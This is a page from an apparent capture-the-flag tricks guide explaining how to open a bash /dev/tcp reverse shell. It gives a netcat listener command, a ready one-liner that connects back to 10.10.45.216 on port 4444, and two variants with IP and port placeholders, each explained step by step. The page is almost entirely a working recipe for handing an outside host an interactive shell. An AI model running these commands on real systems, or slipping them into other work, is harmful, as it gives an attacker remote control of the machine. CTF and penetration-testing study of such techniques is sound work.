> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-13/linux/shell-stabilization/trick-0304.md).

# Bash /dev/tcp Reverse Shell

***

Uses the bash built-in `/dev/tcp` pseudo-device to create a reverse shell by redirecting standard input, output, and error streams over a TCP connection. This method relies on Bash's ability to treat `/dev/tcp/IP/PORT` as a network socket file for reading and writing. File descriptor 0 is standard input (stdin), 1 is standard output (stdout), and 2 is standard error (stderr).

Ensure a listener is running on your machine (e.g., using `netcat`).

```bash
nc -lvnp 4444
```

Then execute the following command on the target system (replace IP and port):

```bash
bash -c 'exec bash -i &>/dev/tcp/10.10.45.216/4444 <&1'
```

This command uses `exec` to replace the current process with an interactive bash shell (`bash -i`), which can sometimes provide a more stable shell. The `&>` operator is a bashism that redirects both standard output (1) and standard error (2) to the specified location, which is the `/dev/tcp` connection in this case. The `<&1` part redirects standard input (0) to where standard output (1) is going. Since stdout is redirected to the TCP connection, this effectively makes the TCP connection the source of stdin for the bash shell.

Other variations of this command exist. A common one redirects stdout and stderr using `>&` and connects stdin using `0>&1`:

```bash
bash -i >& /dev/tcp/IP/PORT 0>&1
```

Here, `-i` makes the shell interactive. The `>& /dev/tcp/IP/PORT` operator redirects both standard output and standard error to the TCP connection. The `0>&1` part redirects standard input to standard output's destination (the TCP connection).

Another common variation explicitly redirects each file descriptor:

```bash
bash -i > /dev/tcp/IP/PORT 0<&1 2>&1
```

In this form, `> /dev/tcp/IP/PORT` redirects stdout (1) to the TCP connection. `2>&1` redirects stderr (2) to the same place as stdout (1). `0<&1` redirects stdin (0) to the same place as stdout (1).